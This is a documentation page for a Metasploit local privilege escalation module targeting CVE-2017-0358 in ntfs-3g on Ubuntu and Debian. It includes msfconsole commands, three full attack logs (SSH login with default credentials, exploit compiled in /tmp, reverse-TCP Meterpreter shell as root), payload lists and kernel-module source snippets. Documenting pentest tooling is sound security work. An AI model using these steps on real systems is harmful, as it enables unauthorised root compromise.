Debian/Ubuntu ntfs-3g Local Privilege Escalation - Metasploit

This page contains detailed information about how to use the exploit/linux/local/ntfs3g_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Debian/Ubuntu ntfs-3g Local Privilege Escalation
Module: exploit/linux/local/ntfs3g_priv_esc
Source code: modules/exploits/linux/local/ntfs3g_priv_esc.rb
Disclosure date: 2017-01-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-0358

ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe. This can be abused to load a kernel module and execute a binary payload as the root user.

Module Ranking and Traits

Module Ranking:

good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/ntfs3g_priv_esc
msf exploit(ntfs3g_priv_esc) > show targets
    ... a list of targets ...
msf exploit(ntfs3g_priv_esc) > set TARGET target-id
msf exploit(ntfs3g_priv_esc) > show options
    ... show and set options ...
msf exploit(ntfs3g_priv_esc) > set SESSION session-id
msf exploit(ntfs3g_priv_esc) > exploit

Required Options

SESSION: The session to run this module on.

Knowledge Base

Creating A Testing Environment

We have to live compile on the host, so make and gcc are required. Easiest thing to do is: apt-get install build-essential.

As per notes from the original EDB module, if you're in a VM, you should use at least two CPU cores. This was confirmed during testing of this module as well.

This module has been tested against:

Ubuntu 16.04 with ntfs-3g 1:2015.3.14AR.1-1build1
Ubuntu 16.10 with ntfs-3g 1:2016.2.22AR.1-3
Debian Jessie 8 (8.7.1, had to downgrade ntfs-3g to vuln version, and install kernel headers): apt-get install ntfs-3g=1:2014.2.15AR.2-1+deb8u2 linux-headers-$(uname -r)

This module was not tested against, but may work against:

Debian 7
Debian 9
Other Debian based systems

Verification Steps

Start msfconsole
Exploit a box via whatever method
Do: use exploit/linux/local/ntfs3_priv_esc
Do: set session #
Do: set verbose true
Do: exploit

Options

WritableDir

A folder we can write files to. Defaults to /tmp

Scenarios

Ubuntu 16.04 (ntfs-3g 1:2015.3.14AR.1-1build1)

Initial Access

resource (ntfs3g.rc)> use auxiliary/scanner/ssh/ssh_login
resource (ntfs3g.rc)> set rhosts 192.168.2.137
rhosts => 192.168.2.137
resource (ntfs3g.rc)> set username ubuntu
username => ubuntu
resource (ntfs3g.rc)> set password ubuntu
password => ubuntu
resource (ntfs3g.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:40371 -> 192.168.2.137:22) at 2017-02-24 21:33:59 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate

resource (ntfs3g.rc)> use exploit/linux/local/ntfs3g_priv_esc
resource (ntfs3g.rc)> set verbose true
verbose => true
resource (ntfs3g.rc)> set session 1
session => 1
resource (ntfs3g.rc)> set target 1
target => 1
resource (ntfs3g.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (ntfs3g.rc)> check
[!] SESSION may not be compatible with this module.
[+] Vulnerable Ubuntu 16.04 detected
[*]  The target appears to be vulnerable.
resource (ntfs3g.rc)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.2.117:4444 
[+] Vulnerable Ubuntu 16.04 detected
[+] make is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing rootshell to /tmp/rootshell.c
[*] Max line length is 65537
[*] Writing 345 bytes in 1 chunks of 1198 bytes (octal-encoded), using printf
[*] Writing sploit to /tmp/sploit.c
[*] Max line length is 65537
[*] Writing 7632 bytes in 1 chunks of 26966 bytes (octal-encoded), using printf
[*] Writing rootmod to /tmp/rootmod.c
[*] Max line length is 65537
[*] Writing 1115 bytes in 1 chunks of 4016 bytes (octal-encoded), using printf
[*] Writing Makefile to /tmp/Makefile
[*] Max line length is 65537
[*] Writing 18 bytes in 1 chunks of 66 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/KggJEFqa
[*] Max line length is 65537
[*] Writing 206 bytes in 1 chunks of 567 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2440248 bytes) to 192.168.2.137
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:53144) at 2017-02-24 21:34:25 -0500
[!] This exploit may require manual cleanup of '/tmp/rootshell.c' on the target
[!] This exploit may require manual cleanup of '/tmp/rootshell' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit.c' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.c' on the target
[!] This exploit may require manual cleanup of '/tmp/Makefile' on the target
[!] This exploit may require manual cleanup of '/tmp/KggJEFqa' on the target

meterpreter > sysinfo
Computer     : 192.168.2.137
OS           : Ubuntu 16.04 (Linux 4.4.0-21-generic)
Architecture : x64
Meterpreter  : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

Ubuntu 16.10 (ntfs-3g 1:2016.2.22AR.1-3)

Initial Access

[*] Processing ntfs3g.rc for ERB directives.
resource (ntfs3g.rc)> use auxiliary/scanner/ssh/ssh_login
resource (ntfs3g.rc)> set rhosts 192.168.2.197
rhosts => 192.168.2.197
resource (ntfs3g.rc)> set username ubuntu
username => ubuntu
resource (ntfs3g.rc)> set password ubuntu
password => ubuntu
resource (ntfs3g.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lxd),115(lpadmin),116(sambashare) Linux ubuntu1610 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:37241 -> 192.168.2.197:22) at 2017-02-25 21:48:06 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate

resource (ntfs3g.rc)> use exploit/linux/local/ntfs3g_priv_esc
resource (ntfs3g.rc)> set verbose true
verbose => true
resource (ntfs3g.rc)> set session 1
session => 1
resource (ntfs3g.rc)> set target 1
target => 1
resource (ntfs3g.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (ntfs3g.rc)> check
[!] SESSION may not be compatible with this module.
[+] Vulnerable Ubuntu 16.10 detected
[*]  The target appears to be vulnerable.
resource (ntfs3g.rc)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.2.117:4444 
[+] Vulnerable Ubuntu 16.10 detected
[+] make is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing rootshell to /tmp/rootshell.c
[*] Max line length is 65537
[*] Writing 345 bytes in 1 chunks of 1198 bytes (octal-encoded), using printf
[*] Writing sploit to /tmp/sploit.c
[*] Max line length is 65537
[*] Writing 7632 bytes in 1 chunks of 26966 bytes (octal-encoded), using printf
[*] Writing rootmod to /tmp/rootmod.c
[*] Max line length is 65537
[*] Writing 1115 bytes in 1 chunks of 4016 bytes (octal-encoded), using printf
[*] Writing Makefile to /tmp/Makefile
[*] Max line length is 65537
[*] Writing 18 bytes in 1 chunks of 66 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/ECldPeni
[*] Max line length is 65537
[*] Writing 206 bytes in 1 chunks of 567 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2440248 bytes) to 192.168.2.197
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.197:40746) at 2017-02-25 21:48:39 -0500
[!] This exploit may require manual cleanup of '/tmp/rootshell.c' on the target
[!] This exploit may require manual cleanup of '/tmp/rootshell' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit.c' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.c' on the target
[!] This exploit may require manual cleanup of '/tmp/Makefile' on the target
[!] This exploit may require manual cleanup of '/tmp/ECldPeni' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.ko' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.mod.c' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.mod.o' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.o' on the target

meterpreter > sysinfo
Computer     : 192.168.2.197
OS           : Ubuntu 16.10 (Linux 4.8.0-22-generic)
Architecture : x64
Meterpreter  : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

Debian 8.7.1 (ntfs-3g 1:2014.2.15AR.2-1+deb8u2)

Initial Access

[*] Processing ntfs3g.rc for ERB directives.
resource (ntfs3g.rc)> use auxiliary/scanner/ssh/ssh_login
resource (ntfs3g.rc)> set rhosts 192.168.2.83
rhosts => 192.168.2.83
resource (ntfs3g.rc)> set username debian
username => debian
resource (ntfs3g.rc)> set password debian
password => debian
resource (ntfs3g.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'debian:debian' 'uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth) Linux debian871 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:40679 -> 192.168.2.83:22) at 2017-02-25 22:17:49 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate

resource (ntfs3g.rc)> use exploit/linux/local/ntfs3g_priv_esc
resource (ntfs3g.rc)> set verbose true
verbose => true
resource (ntfs3g.rc)> set session 1
session => 1
resource (ntfs3g.rc)> set target 1
target => 1
resource (ntfs3g.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (ntfs3g.rc)> check
[!] SESSION may not be compatible with this module.
[+] Vulnerable Debian 8 (jessie) detected
[*]  The target appears to be vulnerable.
resource (ntfs3g.rc)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.2.117:4444 
[+] Vulnerable Debian 8 (jessie) detected
[+] make is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing rootshell to /tmp/rootshell.c
[*] Max line length is 65537
[*] Writing 345 bytes in 1 chunks of 1198 bytes (octal-encoded), using printf
[*] Writing sploit to /tmp/sploit.c
[*] Max line length is 65537
[*] Writing 7632 bytes in 1 chunks of 26966 bytes (octal-encoded), using printf
[*] Writing rootmod to /tmp/rootmod.c
[*] Max line length is 65537
[*] Writing 1115 bytes in 1 chunks of 4016 bytes (octal-encoded), using printf
[*] Writing Makefile to /tmp/Makefile
[*] Max line length is 65537
[*] Writing 18 bytes in 1 chunks of 66 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/cCacqozW
[*] Max line length is 65537
[*] Writing 206 bytes in 1 chunks of 567 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2440248 bytes) to 192.168.2.83
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.83:48762) at 2017-02-25 22:18:27 -0500

meterpreter > sysinfo
Computer     : 192.168.2.83
OS           : Debian 8.7 (Linux 3.16.0-4-amd64)
Architecture : x64
Meterpreter  : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

Go back to menu.

Msfconsole Usage

Here is how the linux/local/ntfs3g_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/ntfs3g_priv_esc

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ntfs3g_priv_esc) > show info

       Name: Debian/Ubuntu ntfs-3g Local Privilege Escalation
     Module: exploit/linux/local/ntfs3g_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-01-05

Provided by:
  jannh <[email protected]>
  h00die <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Linux x86
  1   Linux x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and 
  possibly 9 does not properly sanitize the environment when executing 
  modprobe. This can be abused to load a kernel module and execute a 
  binary payload as the root user.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-0358
  https://www.exploit-db.com/exploits/41356
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1072

Module Options

This is a complete list of options available in the linux/local/ntfs3g_priv_esc exploit:

msf6 exploit(linux/local/ntfs3g_priv_esc) > show options

Module options (exploit/linux/local/ntfs3g_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux x64

Advanced Options

Here is a complete list of advanced options supported by the linux/local/ntfs3g_priv_esc exploit:

msf6 exploit(linux/local/ntfs3g_priv_esc) > show advanced

Module advanced options (exploit/linux/local/ntfs3g_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  true             no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/local/ntfs3g_priv_esc module can exploit:

msf6 exploit(linux/local/ntfs3g_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux x86
   1   Linux x64

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/ntfs3g_priv_esc exploit:

msf6 exploit(linux/local/ntfs3g_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the linux/local/ntfs3g_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/ntfs3g_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Linux kernel headers not available, compiling will fail.
Version installed not vulnerable: <OUTPUT>
ntfs-3g not installed
<FILENAME> at <FILE_PATH>.c failed to compile
t actually want to end up with a loaded module */
Target not vulnerable! punt!
gcc is not installed. Compiling will fail.
make is not installed. Compiling will fail.
make and gcc required on system to build exploit for kernel

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Linux kernel headers not available, compiling will fail.

Here is a relevant code snippet related to the "Linux kernel headers not available, compiling will fail." error message:

59:	      output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')
60:	      if output
61:	        if output.include?('linux-headers')
62:	          return true
63:	        else
64:	          print_error('Linux kernel headers not available, compiling will fail.')
65:	          return false
66:	        end
67:	      end
68:	      false
69:	    end

Version installed not vulnerable: <OUTPUT>

Here is a relevant code snippet related to the "Version installed not vulnerable: <OUTPUT>" error message:

91:	        else
92:	          CheckCode::Safe
93:	        end
94:	        CheckCode::Appears
95:	      else
96:	        print_error("Version installed not vulnerable: #{output}")
97:	        CheckCode::Safe
98:	      end
99:	    else
100:	      print_error('ntfs-3g not installed')
101:	      CheckCode::Safe

ntfs-3g not installed

Here is a relevant code snippet related to the "ntfs-3g not installed" error message:

95:	      else
96:	        print_error("Version installed not vulnerable: #{output}")
97:	        CheckCode::Safe
98:	      end
99:	    else
100:	      print_error('ntfs-3g not installed')
101:	      CheckCode::Safe
102:	    end
103:	  end
104:	
105:	  def exploit

<FILENAME> at <FILE_PATH>.c failed to compile

Here is a relevant code snippet related to the "<FILENAME> at <FILE_PATH>.c failed to compile" error message:

111:	        write_file("#{file_path}.c", file_content)
112:	        register_file_for_cleanup("#{file_path}.c")
113:	        output = cmd_exec(compile)
114:	        if output != ''
115:	          print_error(output)
116:	          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
117:	        end
118:	      else
119:	        vprint_status("Writing #{filename} to #{file_path}")
120:	        write_file(file_path, file_content)
121:	      end

t actually want to end up with a loaded module */

Here is a relevant code snippet related to the "t actually want to end up with a loaded module */" error message:

146:	        kcred = prepare_kernel_cred(NULL);
147:	        oldcred = override_creds(kcred);
148:	        sys_fchown_(suidfile_fd, 0, 0);
149:	        sys_fchmod_(suidfile_fd, 06755);
150:	        revert_creds(oldcred);
151:	        return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */
152:	      }
153:	
154:	      static void __exit cleanup_rootmod(void) {}
155:	
156:	      module_init(init_rootmod);

Target not vulnerable! punt!

Here is a relevant code snippet related to the "Target not vulnerable! punt!" error message:

188:	    sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"
189:	    payload_filename = rand_text_alpha(8)
190:	    payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
191:	
192:	    if check != CheckCode::Appears
193:	      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
194:	    end
195:	
196:	    def has_prereqs?()
197:	      def check_gcc?()
198:	        gcc = cmd_exec('which gcc')

gcc is not installed. Compiling will fail.

Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:

198:	        gcc = cmd_exec('which gcc')
199:	        if gcc.include?('gcc')
200:	          vprint_good('gcc is installed')
201:	          return true
202:	        else
203:	          print_error('gcc is not installed.  Compiling will fail.')
204:	          return false
205:	        end
206:	      end
207:	
208:	      def check_make?()

make is not installed. Compiling will fail.

Here is a relevant code snippet related to the "make is not installed. Compiling will fail." error message:

209:	        make = cmd_exec('which make')
210:	        if make.include?('make')
211:	          vprint_good('make is installed')
212:	          return true
213:	        else
214:	          print_error('make is not installed.  Compiling will fail.')
215:	          return false
216:	        end
217:	      end
218:	
219:	      return check_make?() && check_gcc?()

make and gcc required on system to build exploit for kernel

Here is a relevant code snippet related to the "make and gcc required on system to build exploit for kernel" error message:

220:	    end
221:	
222:	    if has_prereqs?()
223:	      vprint_status('Live compiling exploit on system')
224:	    else
225:	      fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')
226:	    end
227:	
228:	    # make our substitutions so things are dynamic
229:	    rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
230:	               "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable

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References

Authors

[email protected]
h00die <[email protected]>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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Debian/Ubuntu ntfs-3g Local Privilege Escalation - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Creating A Testing Environment

Verification Steps

Options

Scenarios

Ubuntu 16.04 (ntfs-3g 1:2015.3.14AR.1-1build1)

Initial Access

Escalate

Ubuntu 16.10 (ntfs-3g 1:2016.2.22AR.1-3)

Initial Access

Escalate

Debian 8.7.1 (ntfs-3g 1:2014.2.15AR.2-1+deb8u2)

Initial Access

Escalate

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

Linux kernel headers not available, compiling will fail.

Version installed not vulnerable: <OUTPUT>

ntfs-3g not installed

<FILENAME> at <FILE_PATH>.c failed to compile

t actually want to end up with a loaded module */

Target not vulnerable! punt!

gcc is not installed. Compiling will fail.

make is not installed. Compiling will fail.

make and gcc required on system to build exploit for kernel

Related Pull Requests

References

See Also

Authors

Version